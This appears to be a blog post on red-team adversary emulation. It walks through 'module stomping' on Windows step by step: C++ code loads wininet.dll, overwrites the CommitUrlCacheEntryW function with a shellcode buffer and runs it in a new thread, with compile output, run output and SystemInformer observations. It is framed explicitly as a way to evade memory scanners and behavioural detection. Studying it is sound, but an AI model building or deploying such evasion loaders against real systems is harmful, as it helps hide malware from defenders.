In modern adversary emulation, generic process-injection techniques are closely scrutinized. Legacy approaches like cross-process thread creation with unbacked memory regions trigger immediate behavioral telemetry and get instantly popped by memory scanners.
To bypass these hurdles, we need to slide past detection. Enter Module Stomping, a technique that involves overwriting the .text section of a loaded, signed DLL to hide our payload inside a disk-backed memory region.
Press enter or click to view image in full size
In this post, I will outline the basic workflow and some common primitives used in module stomping for Windows process injection.
All module stomping code referenced in this post can be found in the ‘module-injection’ folder in my ‘windows-process-injection’ repository.
SystemInformer can optionally be used to follow the workflow and will be covered in the example PoC section of this post.
The following is an outline of a common module stomping workflow.
LoadLibraryExA to load a ‘sacrificial’ module to serve as the stomping target.GetProcAddress).WriteProcessMemory.CreateThread.While this foundational workflow is completely functional, a stock implementation like this leaves a massive trail of Indicators of Compromise (IoCs). In the sections below, we’ll analyze how this basic approach trips modern defenses, and how we can modify the code to obscure both static and dynamic signatures.
The cleanest way to map out this tradecraft is by executing it within our current process context. This keeps our debugging loop simple and focuses purely on the memory manipulation itself. Let’s break down the core logic using the local-stomp.cpp source file from the ‘Windows Process Injection’ repository.
First, we need to open a handle to the current process using OpenProcess.
// Open a handle to the current process
HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
if(pHandle == NULL) {
printf("Failed to acquire process handle!\n");
return -1;
}
printf("[*] Successfully opened handle to PID: %u\n", pid);Now that we have a handle, we need to either locate or load the target module.
For this demonstration, we’ll load wininet.dll; it’s fairly large and so it can accommodate testing different payloads. Using LoadLibraryExA is not always a good idea, but it is helpful for demonstrating the concept.
// load sacrificial DLL, using wininet because it is fairly large and so it can accomodate different PoC payloads
HMODULE hSacrificialDll = LoadLibraryExA("wininet.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (hSacrificialDll == NULL) {
printf("[ERROR] Failed to obtain DLL handle! Error: %lu\n", GetLastError());
return -1;
}
printf("[*] Target DDL loaded.\n");We need to identify the .text section of the module. We can either locate the section itself or search the module for a specific function.
Join Medium for free to get updates from this writer.
For the sake of demonstration, we will leverage the GetProcAddresss function. We pass a handle to the module and the function name we want to locate, and it will return the address.
LPVOID targetAddress = (LPVOID)GetProcAddress(hSacrificialDll, "CommitUrlCacheEntryW");
if (targetAddress == NULL) {
printf("[ERROR] Failed to locate target function CommitUrlCacheEntryW! Error: %lu\n", GetLastError());
return -1;
}
printf("[*] Target wininet.dll!CommitUrlCacheEntryW located at: : 0x%016llx\n", targetAddress);Now that we have a target address, we can overwrite module code with our own buffer by using targetAddress as the destination parameter for WriteProcessMemory.
// Write the shellcode to the block of memory that we allocated with VirtualAllocEx
BOOL writeShellcode = WriteProcessMemory(pHandle, targetAddress, buf, sizeof buf, NULL);
if(writeShellcode == false) {
printf("[ERROR] Failed to write shellcode! Using addresss: 0x%016llx, Error: %lu\n", targetAddress, GetLastError());
FreeLibrary(hSacrificialDll);
return -1;
}Finally, execute our buffer by creating a new thread, using the targetAddress value as the lpStartAddress parameter for CreateThread.
// Create a new thread using the shellcode buffer address as the starting point
HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)targetAddress, NULL, 0, NULL);
if (tHandle == NULL) {
printf("[ERROR] Failed to create thread within the process (PID: %u)! Error: %lu\n", pid, GetLastError());
FreeLibrary(hSacrificialDll);
return -1;
}Compile the local-stomp.cpp example code and suppress warnings.
windows-process-injection\module-stomping>cl.exe local-stomp.cpp /W0
Microsoft (R) C/C++ Optimizing Compiler Version 19.16.27054 for x64
Copyright (C) Microsoft Corporation. All rights reserved.local-stomp.cpp
Microsoft (R) Incremental Linker Version 14.16.27054.0
Copyright (C) Microsoft Corporation. All rights reserved.
/out:local-stomp.exe
local-stomp.obj
windows-process-injection\module-stomping>
The PoC includes pauses to help track the workflow. In this example, we will use SystemInformer (previously ProcessHacker) to illustrate the process.
local-stomp.exe and pause at the first prompt to openSystemInformer and locate the process using the PID from the output.windows-process-injection\module-stomping>local-stomp.exe
[*] Running PI with target PID: 1100
[*] Successfully opened handle to PID: 1100
[*] Press Enter to load the sacrificial DLL: <Enter>kernel32.dll and ntdll.dll have been loaded.Press enter or click to view image in full size
wininet.dll and locate the CommitUrlCacheEntryW function.windows-process-injection\module-stomping>local-stomp.exe
[*] Running PI with target PID: 1100
[*] Successfully opened handle to PID: 1100
[*] Press Enter to load the sacrificial DLL: <Enter>
[*] Target DLL loaded.
[*] Target wininet.dll!CommitUrlCacheEntryW located at: 0x00007ff917297f30
[*] Press Enter to write the shellcode:0x00007ff917297f30. Back in SystemInformer, review the ‘Modules’ list. It should contain a new entry for wininet.dll.SystemInformer and sort by ‘Base Address’. Locate the .text section of the target module by looking for the section that contains the function address (hint: it should have a ‘Use’ value of ‘C:\Windows\System32\wininet.dll’ with RXprotection).Press enter or click to view image in full size
Base Address’ of this section. In this case, the address was 0x7ff9172210000x00007ff917297f30 - 0x00007ff917221000 = 0x76F300x76F30). The code has not been tampered with and contains legitimate wininet.dll code....
[*] Target wininet.dll!CommitUrlCacheEntryW located at: 0x00007ff917297f30
[*] Press Enter to write the shellcode: <Enter>SystemInformer, in the ‘Memory’ tab, click the ‘Re-read’ button to refresh the memory at the target address. It should now reflect the bytes from our buffer....
[*] Press Enter to write the shellcode: <Enter>
[*] Press Enter to execute the shellcode: <Enter>
[*] Waiting for the thread to return...
[*] Process injection complete.windows-process-injection\module-stomping>
Press enter or click to view image in full size
.text section of legitimate DLLs.While this foundational implementation gets our code running under the guise of a legitimate DLL, it leaves obvious footprints. In the next post, we will look at moving beyond basic local execution to explore: